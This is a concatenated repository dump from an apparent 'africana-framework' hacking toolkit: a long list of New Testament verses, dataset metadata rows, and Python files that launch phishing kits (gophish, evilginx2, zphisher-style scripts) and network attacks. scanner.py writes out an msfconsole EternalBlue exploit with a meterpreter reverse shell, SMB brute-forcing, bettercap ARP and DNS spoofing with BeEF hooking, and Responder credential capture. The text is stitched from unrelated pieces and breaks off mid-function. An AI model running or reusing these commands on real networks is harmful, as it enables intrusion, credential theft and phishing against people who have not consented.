love, joy, peace… Gal.5:22 [ They that are Christ's have crucified the flesh Gal.5:24 [ If we live in the Spirit, let us also walk in the Spirit Gal.5:25 [ Bear ye one another's burdens, and so fulfil the law of Christ. Gal.6:2 [ Let every man prove his own work Gal.6:4 [ Whatsoever a man soweth, that shall he also reap Gal.6:7 [ He that soweth to the Spirit shall of the Spirit reap life everlasting Gal.6:8 [ Let us not be weary in well doing Gal.6:9 [ As we have therefore opportunity, let us do good unto all men Gal.6:10 [ Blessed be the God,… who hath blessed us with every spiritual blessing Eph.1:3 [ He hath chosen us in Him before the foundation of the world Eph.1:4 [ In whom we have redemption through His blood, the forgiveness of sins Eph.1:7 [ Ye were sealed with that holy Spirit of promise Eph.1:13 [ What the riches of the glory of His inheritance in the saints Eph.1:18 [ What is the exceeding greatness of His power to us Eph.1:19 [ For by grace are ye saved through faith Eph.2:8 [ For we are his workmanship, created in Christ Jesus unto good works Eph.2:10 [ Ye who sometimes were far off are made nigh by the blood of Christ Eph.2:13 [ Ye are… fellowcitizens with the saints, and of the household of God Eph.2:19 [ I beseech you that ye walk worthy of the vocation wherewith ye are called Eph.4:1 [ Unto every one of us is given grace according to the measure of the gift of Christ. Eph.4:7 [ Speak every man truth with his neighbour Eph.4:25 [ Grieve not the holy Spirit of God Eph.4:30 [ Be ye kind one to another, tenderhearted Eph.4:32 [ Forgiving one another, even as God for Christ's sake hath forgiven you Eph.4:32 [ Be ye therefore followers of God, as dear children Eph.5:1 [ Christ also hath loved us, and hath given Himself for us Eph.5:2 [ Walk as children of light Eph.5:8 [ The fruit of the Spirit is in all goodness and righteousness and truth Eph.5:9 [ Proving what is acceptable unto the Lord Eph.5:10 [ See then that ye walk circumspectly, not as fools, but as wise Eph.5:15 [ Redeeming the time, because the days are evil Eph.5:16 [ Understanding what the will of the Lord is Eph.5:17 [ Be filled with the Spirit Eph.5:18 [ Christ also loved the church, and gave Himself for it Eph.5:25 [ Be strong in the Lord, and in the power of his might Eph.6:10 [ Put on the whole armour of God Eph.6:11 [ We wrestle not against flesh and blood Eph.6:12 [ Stand therefore, having your loins girt about with truth Eph.6:14 [ Praying always with all prayer and supplication in the Spirit Eph.6:18 [ For to me to live is Christ, and to die is gain Phil.1:21 [ Only let your conversation be as it becometh the gospel of Christ Phil.1:27 [ Let nothing be done through strife or vainglory Phil.2:3 [ In lowliness of mind let each esteem other better than themselves Phil.2:3 [ Work out your own salvation with fear and trembling Phil.2:12 [ It is God which worketh in you both to will and to do of his good pleasure Phil.2:13 [ Do all things without murmurings and disputings Phil.2:14 [ I count all things but loss for the excellency of the knowledge of Christ Jesus Phil.3:8 [ Forgetting those things which are behind, and reaching forth unto those things which are before Phil.3:13 [ Our conversation is in heaven Phil.3:20 [ Rejoice in the Lord alway: and again I say, Rejoice! Phil.4:4 [ Let your moderation be known unto all men Phil.4:5 [ The Lord is at hand Phil.4:5 [ Be careful for nothing Phil.4:6 [ Let your requests be made known unto God Phil.4:6 [ I am instructed both to be full and to be hungry, both to abound and to suffer need Phil.4:12 [ I can do all things through Christ which strengtheneth me Phil.4:13 [ God shall supply all your need Phil.4:19 [ That ye might be filled with the knowledge of His will Col.1:9 [ That ye might walk worthy of the Lord Col.1:10 [ He hath delivered us from the power of darkness Col.1:13 [ In whom we have redemption through His blood, even the forgiveness of sins Col.1:14 [ Christ in you, the hope of glory Col.1:27 [ As ye have therefore received Christ Jesus the Lord, so walk ye in Him Col.2:6 [ In Him dwelleth all the fulness of the Godhead bodily Col.2:9 [ Ye are complete in Him Col.2:10 [ Hath he quickened together with Him, having forgiven you all trespasses Col.2:13 [ Seek those things which are above, where Christ sitteth on the right hand of God Col.3:1 [ Set your affection on things above, not on things on the earth Col.3:2 [ Your life is hid with Christ in God Col.3:3 [ And above all these things put on charity Col.3:14 [ Charity… is the bond of perfectness Col.3:14 [ Let the peace of God rule in your hearts Col.3:15 [ Be ye thankful Col.3:15 [ Let the word of Christ dwell in you richly Col.3:16 [ Do all in the name of the Lord Jesus Col.3:17 [ And whatsoever ye do, do it heartily, as to the Lord Col.3:23 [ Of the Lord ye shall receive the reward of the inheritance Col.3:24 [ Continue in prayer Col.4:2 [ Let your speech be alway with grace, seasoned with salt Col.4:6 [ Take heed to the ministry which thou hast received in the Lord, that thou fulfil it Col.4:17 [ And the Lord make you to increase and abound in love one toward another 1Thess.3:12 [ For this is the will of God, even your sanctification 1Thess.4:3 [ That every one of you should know how to possess his vessel in sanctification and honour 1Thess.4:4 [ For God hath not called us unto uncleanness, but unto holiness 1Thess.4:7 [ That ye may walk honestly toward them that are without 1Thess.4:12 [ Ye are all the children of light, and the children of the day 1Thess.5:5 [ Let us not sleep, as do others; but let us watch and be sober 1Thess.5:6 [ Let us, who are of the day, be sober 1Thess.5:8 [ For God hath not appointed us to wrath, but to obtain salvation 1Thess.5:9 [ Ever follow that which is good 1Thess.5:15 [ Rejoice evermore 1Thess.5:16 [ Pray without ceasing 1Thess.5:17 [ In every thing give thanks 1Thess.5:18 [ Prove all things; hold fast that which is good 1Thess.5:21 [ The very God of peace sanctify you wholly 1Thess.5:23 [ I pray God your whole spirit and soul and body be preserved blameless 1Thess.5:23 [ God hath from the beginning chosen you to salvation 2Thess.2:13 [ The Lord is faithful, who shall stablish you, and keep you from evil 2Thess.3:3 [ If any would not work, neither should he eat 2Thess.3:10 [ The Lord of peace himself give you peace always by all means 2Thess.3:16 [ I thank Christ Jesus our Lord, who hath enabled me 1Tim.1:12 [ Christ Jesus came into the world to save sinners 1Tim.1:15 [ There is one God, and one mediator between God and men 1Tim.2:5 [ Great is the mystery of godliness: God was manifest in the flesh 1Tim.3:16 [ We trust in the living God, who is the Saviour of all men 1Tim.4:10 [ Till I come, give attendance to reading, to exhortation, to doctrine. 1Tim.4:13 [ Neglect not the gift that is in thee, which was given thee 1Tim.4:14 [ Take heed unto thyself, and unto the doctrine; continue in them. 1Tim.4:16 [ Thou shalt not muzzle the ox that treadeth out the corn 1Tim.5:18 [ The labourer is worthy of his reward 1Tim.5:18 [ Keep thyself pure 1Tim.5:22 [ Godliness with contentment is great gain 1Tim.6:6 [ Having food and raiment let us be therewith content 1Tim.6:8 [ The love of money is the root of all evil 1Tim.6:10 [ Follow after righteousness, godliness, faith, love, patience, meekness 1Tim.6:11 [ Fight the good fight of faith 1Tim.6:12 [ Lay hold on eternal life, whereunto thou art also called 1Tim.6:12 [ Keep that which is committed to thy trust 1Tim.6:20 [ I put thee in remembrance that thou stir up the gift of God, which is in thee 2Tim.1:6 [ God hath not given us the spirit of fear; but of power, and of love, and of a sound mind 2Tim.1:7 [ Be not thou therefore ashamed of the testimony of our Lord 2Tim.1:8 [ Hold fast the form of sound words 2Tim.1:13 [ That good thing which was committed unto thee keep by the Holy Ghost, who dwelleth in us. 2Tim.1:14 [ Be strong in the grace that is in Christ Jesus 2Tim.2:1 [ Thou therefore endure hardness, as a good soldier of Jesus Christ 2Tim.2:3 [ The husbandman that laboureth must be first partaker of the fruits. 2Tim.2:6 [ Remember that Jesus Christ of the seed of David was raised from the dead 2Tim.2:8 [ If we suffer, we shall also reign with Him 2Tim.2:12 [ The Lord knoweth them that are His 2Tim.2:19 [ Follow righteousness, faith, charity, peace, with them that call on the Lord 2Tim.2:22 [ The servant of the Lord must not strive; but be gentle unto all men 2Tim.2:24 [ All that will live godly in Christ Jesus shall suffer persecution 2Tim.3:12 [ Continue thou in the things which thou hast learned 2Tim.3:14 [ All Scripture is given by inspiration of God, and is profitable for doctrine 2Tim.3:16 [ That the man of God may be perfect, throughly furnished unto all good works 2Tim.3:17 [ Preach the word; be instant in season, out of season. 2Tim.4:2 [ But watch thou in all things 2Tim.4:5 [ Do the work of an evangelist, make full proof of thy ministry. 2Tim.4:5 [ In all things shewing thyself a pattern of good works Titus 2:7 [ The grace of God that bringeth salvation hath appeared to all men Titus 2:11 [ Not by works of righteousness which we have done, but according to His mercy He saved us Titus 3:5 [ That the communication of thy faith may become effectual Philem.1:6 [ Having confidence in thy obedience I wrote unto thee Philem.1:21 [ We ought to give the more earnest heed to the things which we have heard Heb.2:1 [ For both He that sanctifieth and they who are sanctified are all of one Heb.2:11 [ As the children are partakers of flesh and blood, he also himself likewise took part of the same Heb.2:14 [ He is able to succour them that are tempted Heb.2:18 [ For every house is builded by some man; but he that built all things is God. Heb.3:4 [ Christ as a son over His own house; whose house are we Heb.3:6 [ Exhort one another daily Heb.3:13 [ For we are made partakers of Christ Heb.3:14 [ We which have believed do enter into rest Heb.4:3 [ Let us labour therefore to enter into that rest Heb.4:11 [ The word of God is quick, and powerful, and sharper than any twoedged sword Heb.4:12 [ All things are naked and opened unto the eyes of Him with whom we have to do. Heb.4:13 [ Let us hold fast our profession Heb.4:14 [ Let us therefore come boldly unto the throne of grace Heb.4:16 [ Yet learned He obedience by the things which He suffered Heb.5:8 [ Leaving the principles of the doctrine of Christ, let us go on unto perfection Heb.6:1 [ For God is not unrighteous to forget your work and labour of love Heb.6:10 [ Surely blessing I will bless thee, and multiplying I will multiply thee Heb.6:14 [ Jesus… is able also to save them to the uttermost that come unto God by Him Heb.7:25 [ Jesus… ever liveth to make intercession Heb.7:25 [ I will be to them a God, and they shall be to me a people Heb.8:10 [ I will put my laws into their mind, and write them in their hearts Heb.8:10 [ The blood of Christ… purge your conscience from dead works Heb.9:14 [ We are sanctified through the offering of the body of Jesus Christ Heb.10:10 [ Their sins and iniquities will I remember no more Heb.10:17 [ Let us hold fast the profession of our faith without wavering Heb.10:23 [ Let us consider one another to provoke unto love and to good works Heb.10:24 [ Not forsaking the assembling of ourselves together Heb.10:25 [ Cast not away therefore your confidence, which hath great recompence of reward Heb.10:35 [ Ye have need of patience, that, after ye have done the will of God, ye might receive the promise Heb.10:36 [ Yet a little while, and he that shall come will come, and will not tarry Heb.10:37 [ We are… of them that believe to the saving of the soul Heb.10:39 [ Faith is the substance of things hoped for, the evidence of things not seen. Heb.11:1 [ But without faith it is impossible to please Him Heb.11:6 [ He that cometh to God must believe that He is Heb.11:6 [ God is a rewarder of them that diligently seek him Heb.11:6 [ Strangers and pilgrims on the earth Heb.11:13 [ Through faith subdued kingdoms, wrought righteousness, obtained promises Heb.11:33 [ God having provided some better thing for us Heb.11:40 [ Let us lay aside every weight, and the sin which doth so easily beset us Heb.12:1 [ Let us run with patience the race that is set before us Heb.12:1 [ For the joy that was set before Him endured the cross Heb.12:2 [ Consider Him that endured such contradiction of sinners against Himself Heb.12:3 [ Ye have not yet resisted unto blood, striving against sin Heb.12:4 [ Nor faint when thou art rebuked of Him Heb.12:5 [ Lift up the hands which hang down, and the feeble knees Heb.12:12 [ Follow peace with all men, and holiness Heb.12:14 [ Ye are come unto mount Sion, and unto the city of the living God Heb.12:22 [ Wherefore we receiving a kingdom which cannot be moved, let us have grace Heb.12:28 [ Let us have grace, whereby we may serve God acceptably with reverence and godly fear Heb.12:28 [ Let brotherly love continue. Heb.13:1 [ Be not forgetful to entertain strangers Heb.13:2 [ Be content with such things as ye have Heb.13:5 [ I will never leave thee, nor forsake thee Heb.13:5 [ The LORD is my helper, and I will not fear what man shall do unto me Heb.13:6 [ Jesus Christ the same yesterday, and to day, and for ever Heb.13:8 [ It is a good thing that the heart be established with grace Heb.13:9 [ Jesus, that he might sanctify the people with His own blood, suffered without the gate Heb.13:12 [ Let us go forth therefore unto Him without the camp, bearing His reproach. Heb.13:13 [ Here have we no continuing city, but we seek one to come Heb.13:14 [ By Him let us offer the sacrifice of praise to God continually, that is, the fruit of our lips Heb.13:15 [ To do good and to communicate forget not Heb.13:16 [ Obey them that have the rule over you Heb.13:17 [ He that wavereth is like a wave of the sea James 1:6 [ Blessed is the man that endureth temptation James 1:12 [ Every good gift and every perfect gift is from above James 1:17 [ Of His own will begat he us with the word of truth James 1:18 [ Receive with meekness the engrafted word James 1:21 [ Be ye doers of the word James 1:22 [ To keep himself unspotted from the world James 1:27 [ Mercy rejoiceth against judgment. James 2:13 [ By works was faith made perfect James 2:22 [ Faith without works is dead James 2:26 [ If any man offend not in word, the same is a perfect man James 3:2 [ The spirit that dwelleth in us lusteth to envy James 4:5 [ God resisteth the proud, but giveth grace unto the humble James 4:6 [ Submit yourselves therefore to God. Resist the devil. James 4:7 [ Draw nigh to God, and He will draw nigh to you. James 4:8 [ Humble yourselves in the sight of the Lord, and He shall lift you up. James 4:10 [ Be patient therefore, brethren, unto the coming of the Lord James 5:7 [ Be ye also patient; stablish your hearts James 5:8 [ The coming of the Lord draweth nigh James 5:8 [ That the Lord is very pitiful, and of tender mercy James 5:11 [ Is any among you afflicted? let him pray. James 5:13 [ Is any merry? let him sing psalms. James 5:13 [ The prayer of faith shall save the sick James 5:15 [ Pray one for another, that ye may be healed James 5:16 [ The effectual fervent prayer of a righteous man availeth much James 5:16 [ Blessed be the God… which hath begotten us again unto a lively hope 1Pet.1:3 [ Be ye holy in all manner of conversation 1Pet.1:15 [ Be ye holy; for I am holy 1Pet.1:16 [ Ye were not redeemed with corruptible things, as silver and gold, from your vain conversation 1Pet.1:18 [ Love one another with a pure heart fervently 1Pet.1:22 [ The word of the Lord endureth for ever 1Pet.1:25 [ As newborn babes, desire the sincere milk of the word 1Pet.2:2 [ Ye have tasted that the Lord is gracious 1Pet.2:3 [ He that believeth on him shall not be confounded 1Pet.2:6 [ But ye are a chosen generation, a royal priesthood, an holy nation 1Pet.2:9 [ Honour all men. Love the brotherhood. Fear God. Honour the king. 1Pet.2:17 [ Who His own self bare our sins in His own body on the tree 1Pet.2:24 [ By whose stripes ye were healed 1Pet.2:24 [ Ye were as sheep going astray; but are now returned unto the Shepherd 1Pet.2:25 [ The eyes of the Lord are over the righteous 1Pet.3:12 [ If ye suffer for righteousness' sake, happy are ye 1Pet.3:14 [ Sanctify the Lord God in your hearts 1Pet.3:15 [ Christ hath once suffered for sins,… that He might bring us to God 1Pet.3:18 [ The end of all things is at hand 1Pet.4:7 [ Use hospitality one to another without grudging 1Pet.4:9 [ As every man hath received the gift, even so minister the same one to another 1Pet.4:10 [ If any man speak, let him speak as the oracles of God 1Pet.4:11 [ If any man minister, let him do it as of the ability which God giveth 1Pet.4:11 [ The spirit of glory and of God resteth upon you 1Pet.4:14 [ Ye shall receive a crown of glory that fadeth not away 1Pet.5:4 [ Humble yourselves therefore under the mighty hand of God, that He may exalt you in due time 1Pet.5:6 [ Casting all your care upon him; for he careth for you 1Pet.5:7 [ As His divine power hath given unto us all things that pertain unto life and godliness 2Pet.1:3 [ Exceeding great and precious promises 2Pet.1:4 [ Give diligence to make your calling and election sure 2Pet.1:10 [ The Lord knoweth how to deliver the godly out of temptations 2Pet.2:9 [ The Lord is not slack concerning His promise 2Pet.3:9 [ The day of the Lord will come as a thief in the night 2Pet.3:10 [ Be diligent that ye may be found of him in peace, without spot, and blameless 2Pet.3:14 [ Account that the longsuffering of our Lord is salvation 2Pet.3:15 [ Grow in grace, and in the knowledge of our Lord 2Pet.3:18 [ For the life was manifested 1John 1:2 [ Our fellowship is with the Father, and with His Son Jesus Christ 1John 1:3 [ That your joy may be full 1John 1:4 [ God is light, and in him is no darkness at all 1John 1:5 [ The blood of Jesus Christ his Son cleanseth us from all sin 1John 1:7 [ We have an advocate with the Father, Jesus Christ the righteous 1John 2:1 [ Whoso keepeth His word, in him verily is the love of God perfected 1John 2:5 [ The darkness is past, and the true light now shineth 1John 2:8 [ Your sins are forgiven you for His name's sake 1John 2:12 [ And the world passeth away, and the lust thereof 1John 2:17 [ He that doeth the will of God abideth for ever 1John 2:17 [ This is the promise that he hath promised us, even eternal life 1John 2:25 [ And now, little children, abide in Him 1John 2:28 [ Behold, what manner of love the Father hath bestowed upon us 1John 3:1 [ Beloved, now are we the sons of God 1John 3:2 [ He was manifested to take away our sins 1John 3:5 [ Hereby perceive we the love of God, because He laid down His life for us 1John 3:16 [ Let us not love in word, neither in tongue; but in deed and in truth 1John 3:18 [ If our heart condemn us not, then have we confidence toward God 1John 3:21 [ Greater is he that is in you, than he that is in the world 1John 4:4 [ Let us love one another: for love is of God 1John 4:7 [ God is love 1John 4:8 [ The love of God was manifested toward us 1John 4:9 [ He loved us, and sent his Son to be the propitiation for our sins 1John 4:10 [ if God so loved us, we ought also to love one another 1John 4:11 [ The Father sent the Son to be the Saviour of the world 1John 4:14 [ And we have known and believed the love that God hath to us 1John 4:16 [ There is no fear in love; but perfect love casteth out fear 1John 4:18 [ We love Him, because he first loved us 1John 4:19 [ His commandments are not grievous 1John 5:3 [ Whatsoever is born of God overcometh the world 1John 5:4 [ This is the victory that overcometh the world, even our faith. 1John 5:4 [ God hath given to us eternal life 1John 5:11 [ That ye may know that ye have eternal life 1John 5:13 [ He that is begotten of God keepeth himself, and that wicked one toucheth him not 1John 5:18 [ We know that we are of God, and the whole world lieth in wickedness 1John 5:19 [ The Son of God is come, and hath given us an understanding 1John 5:20 [ This is love, that we walk after His commandments 2John 1:6 [ I wish above all things that thou mayest prosper and be in health 3John 1:2 [ Keep yourselves in the love of God Jude 1:21 [ Blessed is he that readeth, and they that hear the words of this prophecy Rev.1:3 [ Behold, He cometh with clouds; and every eye shall see Him Rev.1:7 [ I am Alpha and Omega, the beginning and the ending, saith the Lord Rev.1:8 [ I know thy works, and thy labour, and thy patience Rev.2:2 [ To him that overcometh will I give to eat of the tree of life Rev.2:7 [ Be thou faithful unto death, and I will give thee a crown of life Rev.2:10 [ To him that overcometh will I give to eat of the hidden manna Rev.2:17 [ Remember therefore how thou hast received and heard, and hold fast, and repent Rev.3:3 [ Behold, I have set before thee an open door, and no man can shut it Rev.3:8 [ Behold, I come quickly! Rev.3:11 [ Hold that fast which thou hast, that no man take thy crown Rev.3:11 [ Him that overcometh will I make a pillar in the temple of My God Rev.3:12 [ He that hath an ear, let him hear what the Spirit saith unto the churches Rev.3:13 [ As many as I love, I rebuke and chasten Rev.3:19 [ Behold, I stand at the door, and knock Rev.3:20 [ If any man hear my voice, and open the door, I will come in to him Rev.3:20 [ To him that overcometh will I grant to sit with Me in My throne Rev.3:21 [ Holy, holy, holy, LORD God Almighty Rev.4:8 [ Thou art worthy, O Lord, to receive glory and honour and power Rev.4:11 [ And hast made us unto our God kings and priests Rev.5:10 [ Worthy is the Lamb that was slain Rev.5:12 [ Salvation to our God which sitteth upon the throne, and unto the Lamb! Rev.7:10 [ And God shall wipe away all tears from their eyes Rev.7:17 [ And the smoke of the incense, which came with the prayers of the saints, ascended up before God Rev.8:4 [ They overcame him by the blood of the Lamb, and by the word of their testimony Rev.12:11 [ Worship Him that made heaven, and earth, and the sea, and the fountains of waters Rev.14:7 [ Great and marvellous are Thy works, Lord God Almighty! Rev.15:3 [ Who shall not fear Thee, O Lord, and glorify Thy name? Rev.15:4 [ Thou art righteous, O Lord, which art, and wast, and shalt be Rev.16:5 [ Even so, Lord God Almighty, true and righteous are thy judgments Rev.16:7 [ Blessed is he that watcheth, and keepeth his garments Rev.16:15 [ Behold, I make all things new Rev.21:5 [ I will give unto him that is athirst of the fountain of the water of life freely Rev.21:6 [ He that overcometh shall inherit all things Rev.21:7 [ Blessed is he that keepeth the sayings of the prophecy of this book Rev.22:7 [ He that is holy, let him be holy still Rev.22:11 [ Whosoever will, let him take the water of life freely Rev.22:17 [ Even so, come, Lord Jesus! Rev.22:20
63,136
Python
.py
894
66.560403
114
0.697268
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,742
phisher.py
CHEGEBB_africana-framework/src/phishing/phisher.py
import sys import time import subprocess from src.core.bcolors import * class phish_hack(object): def __init__(self): pass def phish_gophish(self): os.system('clear') process = subprocess.Popen('gophish', shell = True).wait() time.sleep(0.03) return process def phish_goodginx(self): os.system('clear') process = subprocess.Popen('evilginx2', shell = True).wait() time.sleep(0.03) return process def phish_setoolkit(self): os.system('clear') process = os.system('python3 externals/set/setoolkit') return process def phish_anonphisher(self): os.system('clear') process = subprocess.Popen("cd /usr/local/opt/africana-framework/externals/anonphisher; bash anonphisher.sh", shell = True).wait() return process def phish_zphisher(self): os.system('clear') process = subprocess.Popen("cd /usr/local/opt/africana-framework/externals/AdvPhishing; bash AdvPhishing.sh", shell = True).wait() time.sleep(0.03) return process cred_phisher = phish_hack() if ' __name__' == '__main__': sys.exit(cred_phisher())
1,188
Python
.py
33
29.212121
138
0.648084
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,743
scanner.py
CHEGEBB_africana-framework/src/internal/scanner.py
import sys import time import subprocess from src.core.banner import * from src.core.bcolors import * from scriptures.verses import * class Interna_Attack(object): def __init__(self, host): self.host = host os.system('echo "1" > /proc/sys/net/ipv4/ip_forward 2> /dev/null') def bettercap_discover(self): beauty.graphics(), scriptures.verses() print("\n") process = subprocess.Popen('bettercap -eval "set $ {bold}r0jahsm0ntar1 [Type.Exit.When.Ready] » {reset}; net.recon on; net.probe on; ticker on"', shell = True).wait() return process def nmap_pscanner(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "poforming port scan on" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen('nmap -v -p- {0}'.format(host), shell = True).wait() return process def nmap_vulnscanner(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "poforming vuln scan on" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen('nmap -sV -sC -v -p- {0}'.format(host), shell = True).wait() return process def smb_enumuration(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "poforming smb recon on" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("enum4linux -a {0}".format(host), shell = True).wait() print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "trying smb null user & pass connect on" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen('smbmap -H {0} -u null -p null -r --depth 5'.format(host), shell = True).wait() return process def smb_exploit(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "eternal blue nmap vuln scan on" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen('nmap -sV -v -p 445 --script=smb-vuln-ms17-010 {0}'.format(host), shell = True).wait() print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "poforming smb pass bruteforce on" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen('nmap -sV -v -p 445 smb-brute.nse {0}'.format(host), shell = True).wait() #process = os.system("crackmapexec smb {0} -u Administrator -p '(mp64 Pass@wor?l?a)'").format(host) print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "trying rpcclient null user & pass connect on" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen('rpcclient -U "" -N {0}'.format(host), shell = True).wait() while True: try: scriptures.verses() print(bcolors.BLUE + "\n -[" + bcolors.ENDC + bcolors.UNDERL + " Select a number from the table below" + bcolors.ENDC + bcolors.BLUE + " ]-\n" + bcolors.ENDC) print(bcolors.BLUE + " [ 1. Launch Eternalblue Exploit ] " + bcolors.ENDC) print(bcolors.BLUE + " [ 0. Exit & Go To Main Menu ] " + bcolors.ENDC) print(bcolors.BLUE + " -{ " + bcolors.RED + "ready to attack" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) choice = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) if choice == '1': try: print("\n") process = subprocess.Popen('msfdb start; msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS {0}; set RPORT 445; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST eth0; set LPORT 8443; set VERBOSE true; exploit -j"'.format(host), shell = True).wait() return process except: break elif choice == '0': break else: print("\n") warn = bcolors.ENDC + " ~{ " + bcolors.RED + "Poor choice of selection!. Please Select int -> " + bcolors.DARKCYAN + "0. or 1. " + bcolors.ENDC + "}~" + bcolors.ENDC for w in warn: sys.stdout.write(w) sys.stdout.flush() time.sleep(0.09) pass except KeyboardInterrupt: os.system('clear') break def packets_sniffer(self, host): while True: try: beauty.graphics(), scriptures.verses() print(bcolors.BLUE + "\n -[" + bcolors.ENDC + bcolors.UNDERL + " Select a number from the table below" + bcolors.ENDC + bcolors.BLUE + " ]-\n" + bcolors.ENDC) print(bcolors.BLUE + " [ 1. for Inital Target (All Traffick Sniff) ] " + bcolors.ENDC) print(bcolors.BLUE + " [ 2. All Internall IPS (Sniff All Local Subnet) ] " + bcolors.ENDC) print(bcolors.BLUE + " [ 0. Exit & Go To Main Menu ] \n" + bcolors.ENDC) print(bcolors.BLUE + " -{ " + bcolors.RED + "ready to attack" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) choice = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) if choice == '1': os.system('clear') beauty.graphics(), scriptures.verses() print("\n") return subprocess.Popen('bettercap -caplet /usr/share/bettercap/caplets/http-req-dump/http-req-dump.cap -eval "set $ {bold}r0jahsm0ntar1 [Jesus.Loves.You] » {reset}; set arp.spoof.targets %s; set net.sniff.verbose true; set net.sniff.local true; net.sniff on; ticker on"'%(host), shell = True).wait() return process elif choice == '2': os.system('clear') beauty.graphics(), scriptures.verses() print("\n") process = subprocess.Popen('bettercap -caplet /usr/share/bettercap/caplets/http-req-dump/http-req-dump.cap -eval "set $ {bold}r0jahsm0ntar1 [Jesus.Loves.You] » {reset}; set net.sniff.verbose true; set net.sniff.local true; net.sniff on; ticker on"', shell = True).wait() return process elif choice == '0': break else: print("\n") warn = bcolors.ENDC + " ~{ " + bcolors.RED + "Poor Choice Of Selection!!!. Please Select " + bcolors.DARKCYAN + "from 0. to 2." + bcolors.ENDC + " }~" + bcolors.ENDC for w in warn: sys.stdout.write(w) sys.stdout.flush() time.sleep(0.09) os.system('clear') pass except KeyboardInterrupt: os.system('clear') break def beefxss_bettercap(self, host): while True: try: beauty.graphics(), scriptures.verses() print(bcolors.BLUE + "\n -[" + bcolors.ENDC + bcolors.UNDERL + " Select a number from the table below" + bcolors.ENDC + bcolors.BLUE + " ]-\n" + bcolors.ENDC) print(bcolors.BLUE + " [ 1. for Inital Target (All Traffick Sniff) ] " + bcolors.ENDC) print(bcolors.BLUE + " [ 2. All Internall IPS (Sniff All Local Subnet) ] " + bcolors.ENDC) print(bcolors.BLUE + " [ 0. Exit & Go To Main Menu ] \n" + bcolors.ENDC) print(bcolors.BLUE + " -{ " + bcolors.RED + "ready to attack" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) choice = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) if choice == '1': os.system('clear') beauty.graphics(), scriptures.verses() print("\n") a = subprocess.Popen('systemctl restart beef-xss.service; systemctl --no-pager status beef-xss; xdg-open "http://127.0.0.1:3000/ui/panel" 2>/dev/null &' , shell = True).wait() f = subprocess.Popen('bettercap -eval "set $ {bold}r0jahsm0ntar1 [Jesus.Loves.You] » {reset};set arp.spoof.targets %s; set arp.spoof on; set net.sniff.verbose true; net.sniff on; set dns.spoof.domains *.google.corn,google.corn,gstatic.corn,*.gstatic.corn,*amazon.com; dns.spoof on; ticker on"; systemctl stop beef-xss.service'%(host), shell = True).wait() return a, f elif choice == '2': os.system('clear') beauty.graphics(), scriptures.verses() print("\n") r = subprocess.Popen('systemctl restart beef-xss.service; systemctl --no-pager status beef-xss; xdg-open "http://127.0.0.1:3000/ui/panel" 2>/dev/null &' , shell = True).wait() i = subprocess.Popen('systemctl restart beef-xss.service; systemctl --no-pager status beef-xss; bettercap -eval "set $ {bold}r0jahsm0ntar1 [Jesus.Loves.You] » {reset}; set arp.spoof on; set net.sniff.verbose true; net.sniff on; set dns.spoof.domains *.google.corn,google.corn,gstatic.corn,*.gstatic.corn,*amazon.com; dns.spoof on; ticker on"; systemctl stop beef-xss.service', shell = True).wait() return r, i elif choice == '0': break else: print("\n") warn = bcolors.ENDC + " ~{ " + bcolors.RED + "Poor Choice Of Selection!!!. Please Select " + bcolors.DARKCYAN + "from 0. to 2." + bcolors.ENDC + " }~" + bcolors.ENDC for w in warn: sys.stdout.write(w) sys.stdout.flush() time.sleep(0.09) pass except KeyboardInterrupt: os.system('clear') break def packets_responder(self): process = subprocess.Popen('responder -I eth0 -wbDFP' , shell = True).wait() return process def packets_wireshark(self): 